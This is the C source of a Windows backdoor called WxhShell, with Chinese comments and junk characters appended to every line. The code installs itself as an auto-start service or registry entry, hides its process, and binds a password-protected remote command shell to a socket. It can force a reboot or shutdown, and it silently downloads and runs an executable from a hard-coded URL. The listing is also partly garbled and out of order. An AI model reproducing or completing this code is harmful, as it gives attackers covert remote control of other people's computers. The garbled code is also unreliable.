    if(Boot(SHUTDOWN)) -=E/_c;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?=<vC  
    else { HrA6wn\O  
    closesocket(wsh); Xu1l6jr_  
    ExitThread(0); @1 #$  
    } vf@d (g  
    break; sz.(_{5!  
    } @o+T<}kWX  
  // 获取shell SnbH`\U"  
  case 's': { (k"oV>a|  
    CmdShell(wsh); _"Q +G@@  
    closesocket(wsh); tR5zlm(}  
    ExitThread(0); TJ9,c2d+  
    break; _%s_w)  
  } B{ NKDkDH  
  // 退出 FhB^E$r%  
  case 'x': { Vgs( feGs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JF*JF Ob  
    CloseIt(wsh); F9e$2J)C  
    break; W%09.bF  
    } ]lF'o&v]  
  // 离开 %E7+W{?*1  
  case 'q': { US)wr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h<*l=`#  
    closesocket(wsh); xZ@H{):  
    WSACleanup(); pBt/vSad  
    exit(1); \n850PS  
    break; @A6\v+ih  
        } (Jf i 3 m  
  } v&(X& q  
  } w\Q3h`.  
!^ 6x64r  
  // 提示信息 L{~L6:6An  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tc@U_>{  
} l)z15e5X  
  } Q8M&nf  
nJ4h9`[>V  
  return; UD*#!H  
} @Q x|!%  
o})4Jt1vj  
// shell模块句柄 uw+v]y  
int CmdShell(SOCKET sock) 8Es]WR5 ^  
{ b]s=Uv#)  
STARTUPINFO si; mW 5L;>  
ZeroMemory(&si,sizeof(si)); w;' F;j~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;,'!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kTex>1W;  
PROCESS_INFORMATION ProcessInfo; *6Rl[eXS  
char cmdline[]="cmd"; "yc/8{U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MPO!qSS]  
  return 0; VzpPopD,QW  
} V#!ypX]AB[  
g_] u<8&  
// 自身启动模式 tZa)sbz  
int StartFromService(void) B>o\;)l3O  
{ vD) LRO Z  
typedef struct v%&f00  
{ C3 0b}2  
  DWORD ExitStatus; iTD}gC  
  DWORD PebBaseAddress; P1 (8foZA  
  DWORD AffinityMask; > Q@*o  
  DWORD BasePriority; (eJr-xZ/  
  ULONG UniqueProcessId; $t 1]w]}d  
  ULONG InheritedFromUniqueProcessId; $7)O&T*q'  
}   PROCESS_BASIC_INFORMATION; ER5Q` H  
S M987Y!B  
PROCNTQSIP NtQueryInformationProcess; j1YE_U  
Q|gun}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D5T\X-+]O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ; Z61|@Y  
]-%ZN+  
  HANDLE             hProcess; yixW>W}  
  PROCESS_BASIC_INFORMATION pbi; WGG|d)'@  
l$,l3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v.6" <nT2  
  if(NULL == hInst ) return 0; 7!oqn'#>A  
=oT@h 9VI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U]hQ#a+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bq[Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OM!ES%c,  
 Kz3u  
  if (!NtQueryInformationProcess) return 0; &O0+\A9tP  
z8Dn<h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !kASEjFz|f  
  if(!hProcess) return 0; .&@|)u  
>w j7Y`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jI;bVG  
q3NS?t!  
  CloseHandle(hProcess); tO[+O=d  
GetUCb%1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nZ\,ZqV  
if(hProcess==NULL) return 0; aE#ZTc=  
 h *%T2  
HMODULE hMod; &1Cq+YpI  
char procName[255]; d'[aOH4}  
unsigned long cbNeeded; 0E\R\KO$>  
D<++6HN&#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Mh+'f 93  
>j`*-(`2fa  
  CloseHandle(hProcess); i;)g0}x`  
0BaL!^>  
if(strstr(procName,"services")) return 1; // 以服务启动 {tR=D_5  
@%\ANM$S  
  return 0; // 注册表启动 +o'. !sRH  
} _hh|/4(  
xo@N~  
// 主模块 %m+MEh"b5  
int StartWxhshell(LPSTR lpCmdLine) m\Tq0cT$  
{ $d8A_CUU  
  SOCKET wsl; -'}iK6  
BOOL val=TRUE; /WHhwMc!  
  int port=0; mH{cGu?  
  struct sockaddr_in door; lf|^^2'*2<  
uhc0,V;S  
  if(wscfg.ws_autoins) Install(); G=nFs)z  
:!}zdeRJ  
port=atoi(lpCmdLine); lC_zSmT  
E0O{5YF^T  
if(port<=0) port=wscfg.ws_port; FJU)AjS~  
^ w&TTo(  
  WSADATA data; lZ)u4_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }7.q[ ^oF  
EL}v>sC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Tl%4L % bE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LWQ BGiJj  
  door.sin_family = AF_INET; f "&q~V4?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4tuEC-oh  
  door.sin_port = htons(port); dhVwS$O )  
<}mT[;:"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @tj0Ir v  
closesocket(wsl); 4l$8lYi  
return 1; ycE<7W  
} @nT8[v  
(QRl -| +  
  if(listen(wsl,2) == INVALID_SOCKET) { #[[p/nAy}A  
closesocket(wsl); NXmj<azED  
return 1; teB {GR  
} _b5iR<f  
  Wxhshell(wsl); @H_LPn  
  WSACleanup(); zcZw}  
sQ)4kF&,  
return 0; F`- [h )e.  
h{JVq72R  
} ?x[>g!r  
kW:!$MX!  
// 以NT服务方式启动 a<o0B{7{BM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y]CJOC)/K  
{ M^[ jA](a  
DWORD   status = 0; qt:->yiq+  
  DWORD   specificError = 0xfffffff; Wey\GQ`"8  
'P Yl%2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3)-#yOr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CTP%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |n|2)hC  
  serviceStatus.dwWin32ExitCode     = 0; (gmB$pwS  
  serviceStatus.dwServiceSpecificExitCode = 0; i,<-+L$z  
  serviceStatus.dwCheckPoint       = 0; U)PumU+z$u  
  serviceStatus.dwWaitHint       = 0; 0Gs]>B4r/  
b gD Dys  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3AL.UBj&}  
  if (hServiceStatusHandle==0) return; '9[_ w$~(  
 y]+A7|  
status = GetLastError(); GbE3 :;JI  
  if (status!=NO_ERROR) ]e3nnS1*.  
{ w[+!c-A:H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b;O+QRa  
    serviceStatus.dwCheckPoint       = 0; Rd$<R  
    serviceStatus.dwWaitHint       = 0; T*ic?!  
    serviceStatus.dwWin32ExitCode     = status; c"$_V[m  
    serviceStatus.dwServiceSpecificExitCode = specificError; -)Vj08aP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [< `+9R  
    return; Aa Ma9hvT!  
  } 0x & ^{P~  
( 0h]<7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i~9)Hz;!  
  serviceStatus.dwCheckPoint       = 0; Cn<kl^!Q-  
  serviceStatus.dwWaitHint       = 0; |S8pq4eKJ_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C,]Ec2  
} GGuLxc?(  
3TtW2h>M  
// 处理NT服务事件,比如:启动、停止 h P1|l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #.='dSj  
{ gi6_la+  
switch(fdwControl) K%k,-  
{ ,@;<u'1\G  
case SERVICE_CONTROL_STOP: gf=*m"5  
  serviceStatus.dwWin32ExitCode = 0; Pn#Lymxh_a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pZjFpd|  
  serviceStatus.dwCheckPoint   = 0; [~o3S$C&7  
  serviceStatus.dwWaitHint     = 0; -+=8&Wa  
  { Ygl!fC 4b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {HU48v"W  
  } Cnr48ukq  
  return; TGLXvP& \  
case SERVICE_CONTROL_PAUSE: `otQ'e~+t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QHh#O+by#  
  break; AK!G#ug  
case SERVICE_CONTROL_CONTINUE: S=2,jPX2r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EGt)tI&  
  break; )?WoL Ejq  
case SERVICE_CONTROL_INTERROGATE: U_~~PCi  
  break; f,#xicSB*  
}; E*l"uV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;:4puv+]  
} '$zFGq }}  
hMQ aT-v  
// 标准应用程序主函数 0>`69&;g|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) smU+:~  
{ z)B=<4r  
b+hY^$//  
// 获取操作系统版本 =jN]ckn  
OsIsNt=GetOsVer(); 'zb7:[[7%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a? kQ2<@g  
uz#9w\="  
  // 从命令行安装 cPbz7  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZS+2.)A  
kYAvzuGRb  
  // 下载执行文件 nGVqVSxKT  
if(wscfg.ws_downexe) { 9PAp*`J@kr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UPYM~c+}  
  WinExec(wscfg.ws_filenam,SW_HIDE); bq O"k t  
} 1#(1Bs6X  
"J#:PfJ%  
if(!OsIsNt) { "ir*;|  
// 如果时win9x,隐藏进程并且设置为注册表启动 EHZSM5hu  
HideProc(); "Tv7*3>  
StartWxhshell(lpCmdLine); ~-+Zu<  
} LDsYr]  
else FScQS.qF  
  if(StartFromService()) ?>Aff`dHY  
  // 以服务方式启动 TRZ^$<AG  
  StartServiceCtrlDispatcher(DispatchTable); vF&b|V+,  
else Nz;;X\GI  
  // 普通方式启动 c0 |p34  
  StartWxhshell(lpCmdLine); U6Ak"  
ThxrhQ q[+  
return 0; &; \v_5N6  
} v,&2 !Zv  
ho1F8TG=  
b5Pn|5AVj  
Q6K)EwN  
=========================================== U\ued=H  
F 4/Uu"J:  
8;8}Oq  
d3GK.8y_z  
meR2"JN'  
M lFvDy  
" *-_Np u6  
L|LTsRIq  
#include <stdio.h> WIm7p1U#V  
#include <string.h> +QX>:z  
#include <windows.h> y~7lug  
#include <winsock2.h> TpgBS4q  
#include <winsvc.h> &pm{7nH  
#include <urlmon.h> `qTY  
>9`ep7  
#pragma comment (lib, "Ws2_32.lib") m+vEs,W.  
#pragma comment (lib, "urlmon.lib") sd53 _s V  
R6;>RRU_  
#define MAX_USER   100 // 最大客户端连接数 F]YKYF'1I  
#define BUF_SOCK   200 // sock buffer Z<W6Avr  
#define KEY_BUFF   255 // 输入 buffer E 6: p  
^A`(  
#define REBOOT     0   // 重启 ItADO'M  
#define SHUTDOWN   1   // 关机 l #Q`f.  
7h1gU  
#define DEF_PORT   5000 // 监听端口 fh#_Mj+y  
 #Uh 5tc  
#define REG_LEN     16   // 注册表键长度 "ux]kfoT  
#define SVC_LEN     80   // NT服务名长度 AvZ) 1(  
Wg^cj:&`u  
// 从dll定义API yU,xcq~l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p'~5[JR:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 31& .Lnq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tY=%@v'6?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  c^s>  
,rQ)TT  
// wxhshell配置信息 x-&v|w'  
struct WSCFG {  2p>SB/  
  int ws_port;         // 监听端口 a}fClI-u  
  char ws_passstr[REG_LEN]; // 口令 Yj6p19  
  int ws_autoins;       // 安装标记, 1=yes 0=no "Q{~Bj~  
  char ws_regname[REG_LEN]; // 注册表键名 4/?}xD|?  
  char ws_svcname[REG_LEN]; // 服务名 &Fjilx'k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1 ],, Ar5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S7{.liHf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 % VpBB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nM-SDVFM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DWQQ615i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mndl~/  
l-}5@D[  
}; RJwIN,&1.  
N+qLxk  
// default Wxhshell configuration "H<#91^|  
struct WSCFG wscfg={DEF_PORT, NxO^VUD  
    "xuhuanlingzhe", <0)ud)~u  
    1, Ch"8cl;Fm  
    "Wxhshell", 8? Wxd65)  
    "Wxhshell", ]fo^43rn{  
            "WxhShell Service", e8mbEC(AK  
    "Wrsky Windows CmdShell Service", ^!o}>ls['  
    "Please Input Your Password: ", (M,VwwN  
  1, Ir"Q%>K0f  
  "http://www.wrsky.com/wxhshell.exe", m\M+pjz  
  "Wxhshell.exe" o MkY#<Q}  
    }; 3n(gfQo-o  
ggc?J<Dv  
// 消息定义模块 ([b!$o<v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D"4&9"CU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V9u\;5oL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9zYiG3 d  
char *msg_ws_ext="\n\rExit."; c[_^bs>k  
char *msg_ws_end="\n\rQuit."; T% 13 '  
char *msg_ws_boot="\n\rReboot..."; -MU.Hu  
char *msg_ws_poff="\n\rShutdown..."; heZy 66  
char *msg_ws_down="\n\rSave to "; Q4Fq=kTE  
6\fMzm  
char *msg_ws_err="\n\rErr!"; RS `9?c:  
char *msg_ws_ok="\n\rOK!"; U q w}4C/0  
8KwC wv  
char ExeFile[MAX_PATH]; D%UZ'bHN*  
int nUser = 0; q|i%)V`)-  
HANDLE handles[MAX_USER]; $?J+dB  
int OsIsNt; igB rmaY'  
o 7W Kh=  
SERVICE_STATUS       serviceStatus; 4:&qT Y)H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #z!Hb&Qi\  
RB7AI !'a?  
// 函数声明 yISQYvSN  
int Install(void); aT:AxYn8  
int Uninstall(void); Yz-JI=  
int DownloadFile(char *sURL, SOCKET wsh); |F@xwfgb  
int Boot(int flag); x X/s1(P  
void HideProc(void); IAF;mv}'  
int GetOsVer(void); Secq^#]8  
int Wxhshell(SOCKET wsl); M'zS7=F!:  
void TalkWithClient(void *cs); 5 k%9>U%$  
int CmdShell(SOCKET sock); +O$:  
int StartFromService(void); w zqd g  
int StartWxhshell(LPSTR lpCmdLine); 3 t88AN=4  
51G=RYay9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %aH$Tb%`hc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VkDS&g~Ws  
Np<&#s[dQ  
// 数据结构和表定义 ur<eew@8@i  
SERVICE_TABLE_ENTRY DispatchTable[] =  6Z&u  
{ ]osx.  
{wscfg.ws_svcname, NTServiceMain}, ]TBtLU3  
{NULL, NULL} o9Txo (tYU  
}; YYE8/\+B.  
Z@,PZ   
// 自我安装 WVWS7N\  
int Install(void) 7AO3-; l]  
{ ]oeuIRyQ  
  char svExeFile[MAX_PATH]; J, 0pe\5  
  HKEY key; @>G&7r:U  
  strcpy(svExeFile,ExeFile); !/6\m!e|1R  
TD{=L*{+  
// 如果是win9x系统,修改注册表设为自启动 2:iYYRrg  
if(!OsIsNt) { |ck ZyDA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wD6!#t k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |O(-CDQe  
  RegCloseKey(key); t1w2u.]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UOWIiu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :'y{dbKp"  
  RegCloseKey(key); <r<Dmn|\a  
  return 0; j!x<QNNX  
    } J-tq8   
  } p:JRQT"A  
} J1tzHa6  
else { R+{^@M&  
Y@]);MyL  
// 如果是NT以上系统,安装为系统服务 7a:*Y"f,~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4@v1jJj  
if (schSCManager!=0) z|3`0eWIG  
{ !@pV)RUv7  
  SC_HANDLE schService = CreateService <mZrR3v'D  
  ( Dd0Qp-:2  
  schSCManager, AhvvuN$n%  
  wscfg.ws_svcname, lk_s!<ni  
  wscfg.ws_svcdisp, X'FEOF  
  SERVICE_ALL_ACCESS, .]j#y9>&w%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `10X5V@hP  
  SERVICE_AUTO_START, E kBae=  
  SERVICE_ERROR_NORMAL, ]-um\A4f  
  svExeFile, /&]-I$G@  
  NULL, Gefnk!;;  
  NULL, {_zV5 V  
  NULL, [`.3f'")j  
  NULL, Km)X_}|  
  NULL xd^&_P$=  
  ); q%-&[%l  
  if (schService!=0) .Vo"AuC}  
  { vuR5}/Ev  
  CloseServiceHandle(schService); MSZ!W(7,<  
  CloseServiceHandle(schSCManager); jCTy:q]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -`!_h[   
  strcat(svExeFile,wscfg.ws_svcname); B2~f;zy`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h; 'W :P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F0&~ ?2nG  
  RegCloseKey(key); )L |tn  
  return 0; bZ>&QM  
    } *o02!EYge  
  } H]_WFiW-9  
  CloseServiceHandle(schSCManager); Nush`?]J"_  
} cQT1Xi  
} +_qh)HX  
ytjK++(T5  
return 1; H\^VqNK"  
} k> b&xM!  
rIeM+h7Wn  
// 自我卸载 :E>&s9Yj?  
int Uninstall(void) rH9uGm-*  
{ h?0F-6z  
  HKEY key; V@vhj R4r\  
eo1&.FQu  
if(!OsIsNt) { XzT78  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b fp,zs  
  RegDeleteValue(key,wscfg.ws_regname); @Ex;9F,Q  
  RegCloseKey(key); })@tA<+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n{dP@_>WS  
  RegDeleteValue(key,wscfg.ws_regname); [ULwzjss#L  
  RegCloseKey(key); 8f?rEI\0GD  
  return 0; dh&W;zs  
  } !|B3i_n  
} u3]Uxy  
} [{`)j  
else { Bul.RCP'  
aXe{U}eow  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X[V?T>jsM  
if (schSCManager!=0) yeh8z:5Z O  
{ bxAsV/j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZB828T3  
  if (schService!=0) .i$,}wtw  
  { np\st7&f6  
  if(DeleteService(schService)!=0) { @ ]f3| >I  
  CloseServiceHandle(schService); -b cG[W3  
  CloseServiceHandle(schSCManager); <eY %sFq,  
  return 0; tp Xa*6  
  } }2l O _i}L  
  CloseServiceHandle(schService); ;SgD 5Ln}  
  } &K>cW$h=a  
  CloseServiceHandle(schSCManager); +UzXN$73  
} N31?9GE  
} bFg*l$`5  
q xfLfgu^  
return 1; ~n WsP}`n  
} 4otl_l(`yv  
aqF+zPKs6  
// 从指定url下载文件 5C/2b.-[  
int DownloadFile(char *sURL, SOCKET wsh) LfEvc2 v=g  
{ BRb\V42i;  
  HRESULT hr; 20aZI2sk`  
char seps[]= "/"; {LP b))  
char *token;  EZ<80G  
char *file; 5G#$c'A{4  
char myURL[MAX_PATH]; RU0i#suiz  
char myFILE[MAX_PATH]; YZ+>\ x  
6B#('gxO  
strcpy(myURL,sURL); F?z<xL@  
  token=strtok(myURL,seps); s2%V4yy%  
  while(token!=NULL) 8h|M!/&2  
  { Bz+.Qa+  
    file=token; 2{-!E ^g  
  token=strtok(NULL,seps); Vo,[EVL  
  } Edw2W8  
U/Wrh($ #4  
GetCurrentDirectory(MAX_PATH,myFILE); -/>9c-F  
strcat(myFILE, "\\"); "V4Q2T T  
strcat(myFILE, file); vt.P*Z5  
  send(wsh,myFILE,strlen(myFILE),0); }taLk@T  
send(wsh,"...",3,0); y}N&/}M:}8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qe$33f*  
  if(hr==S_OK) j$Nf%V 6Y  
return 0; (S|a 9#  
else (YwalfG {C  
return 1; R2rsJ  
%ISq>A)%  
} :Hk_8J  
$2KK:{VX  
// 系统电源模块 >GXXjAIu/  
int Boot(int flag) bKMWWJf*'  
{ y7z(&M@  
  HANDLE hToken; o'Wz*oY))\  
  TOKEN_PRIVILEGES tkp; 5;mRGY  
KY$k`f6?P  
  if(OsIsNt) { i5"5&r7r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BFWi(58q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WuM C^  
    tkp.PrivilegeCount = 1; p&^J=_O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i@5 )` <?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 537?9  
if(flag==REBOOT) { Z~p!C/B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y<uAp  
  return 0; X&a:g  
} M+poB+K.  
else { E ] B7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D`pQ7  
  return 0; 5qbq,#Pf  
} NQX>Qh 2  
  } o0ZBi|U\4  
  else { S8" f]5s  
if(flag==REBOOT) { zrRFn `B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7+nm31,<O  
  return 0; rkDi+D6`q  
} u7s"0f`  
else { +-BwQ{92[:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (}smW_ `5  
  return 0; [Atc "X$  
} B+] D5K  
} E!J=8C.:  
8#X_#  
return 1; PLA#!$c7q  
} _c2WqQ-05  
`G!M>h@  
// win9x进程隐藏模块 j*400  
void HideProc(void) ^lj7(  
{ FW..mD9)}  
3[d>&xk@$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @;iXp>&&  
  if ( hKernel != NULL ) 6L9, 'Bg  
  { *k [J6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &|9.}Z8U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |=6_ xRyr  
    FreeLibrary(hKernel); r37[)kJ  
  } 8 #}D : (  
%}3qR~;  
return; 8(f:U@BS  
} 6>`c1 \8f  
+G*JrwJ&=  
// 获取操作系统版本 c_.-b=zm  
int GetOsVer(void) 9QwKakci  
{ mwC=o5O  
  OSVERSIONINFO winfo; bsS:"/?>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]< XR]FHx)  
  GetVersionEx(&winfo); g/~XCC^F?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W)*p2 #l  
  return 1; 5~H#(d<oZ  
  else ZmEEj-*7s  
  return 0; DyO$P#~?  
} G2:%g(  
DinPxtT?a  
// 客户端句柄模块 W),l  
int Wxhshell(SOCKET wsl) ;H'gT+t<c  
{ ;_O)p,p  
  SOCKET wsh; (JUZCP/\  
  struct sockaddr_in client; `P}9i@C  
  DWORD myID; $}GTG'*.  
F;q#&  
  while(nUser<MAX_USER) Kibr ]w  
{ % 0T+t.  
  int nSize=sizeof(client); #_i`#d)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #8XL :I  
  if(wsh==INVALID_SOCKET) return 1; k@dN$O%p  
7f{=w, U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \ZI'|Ad  
if(handles[nUser]==0) ;# uZhd  
  closesocket(wsh); BU|#e5  
else HKDID[d0  
  nUser++; !RW `3  
  } @? c2)0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *L4`$@l8  
Lel|,mc`k2  
  return 0; NZ0O,} m  
} #V,R >0"  
K/=|8+IDL  
// 关闭 socket "Gb1K9A im  
void CloseIt(SOCKET wsh) r^Zg-|gr  
{ Ztr Cv?  
closesocket(wsh); _hu")os  
nUser--; TZR)C P5  
ExitThread(0); %McE` 155  
} eWJ`$"z  
*{ {b~$  
// 客户端请求句柄 b^0}}12  
void TalkWithClient(void *cs) J aTp} #  
{ 457\&  
` Ag{)  
  SOCKET wsh=(SOCKET)cs; **3 z;58i  
  char pwd[SVC_LEN]; 9iUrnG*  
  char cmd[KEY_BUFF]; q 11IkDa  
char chr[1]; )3Z ^h<"j  
int i,j; Ej ".axjT  
W2FD+ wt  
  while (nUser < MAX_USER) { _tTNG2  
gKYfQ+  
if(wscfg.ws_passstr) { m,UGWR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :a ->0 l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pi<TFe@eG  
  //ZeroMemory(pwd,KEY_BUFF); anMF-x4/*q  
      i=0; R_XR4)(<  
  while(i<SVC_LEN) { ="wzq+U  
?']5dD  
  // 设置超时 w-wV3Q6X  
  fd_set FdRead; :L44]K5FL  
  struct timeval TimeOut; mpPdG  
  FD_ZERO(&FdRead); npJt3 Y_I  
  FD_SET(wsh,&FdRead); D=m 'pL/pl  
  TimeOut.tv_sec=8; #P l~R  
  TimeOut.tv_usec=0; d)4 m6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ydRC1~f0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nD5 gP  
tg]x0#@s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 26&'X+n&  
  pwd=chr[0]; &0 >Loja`^  
  if(chr[0]==0xd || chr[0]==0xa) { s7Ub@  
  pwd=0; 6f')6X'x  
  break; "#[!/\=?:  
  } MjlP+; !  
  i++; $YN6<5R)  
    } $hivlI-7Ko  
4RSHZAJg  
  // 如果是非法用户,关闭 socket OQW#a[=WQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T}V!`0vKw  
} x=ul&|^7D  
qlL`jWJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TT =b79k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]E\n9X-{  
;;L[e]Z  
while(1) { 1 $/%m_t  
}:X*7 n(&  
  ZeroMemory(cmd,KEY_BUFF); S S2FTb-m  
\jOA+FU [  
      // 自动支持客户端 telnet标准   bFe+m1Q_  
  j=0; _?OW0x4  
  while(j<KEY_BUFF) { DxUKUE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |<:vY  
  cmd[j]=chr[0]; ZovW0Q)m  
  if(chr[0]==0xa || chr[0]==0xd) { 4"gM<z  
  cmd[j]=0; {}3${  
  break; !O`(JSoG  
  } ;\f gF@  
  j++; E_vq  
    } (h >-&.`&  
cSXwYZDx?  
  // 下载文件 q Y#n'&  
  if(strstr(cmd,"http://")) { ?>I;34tL(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I 'V4D[H5  
  if(DownloadFile(cmd,wsh)) 0NS<?p~_S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /YZr~|65  
  else E\Rhz]G(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $GlWf  
  } :A/d to  
  else { Y;?{|  
_lamn }(x0  
    switch(cmd[0]) { !\7!3$w'8,  
  ogyTO|V=  
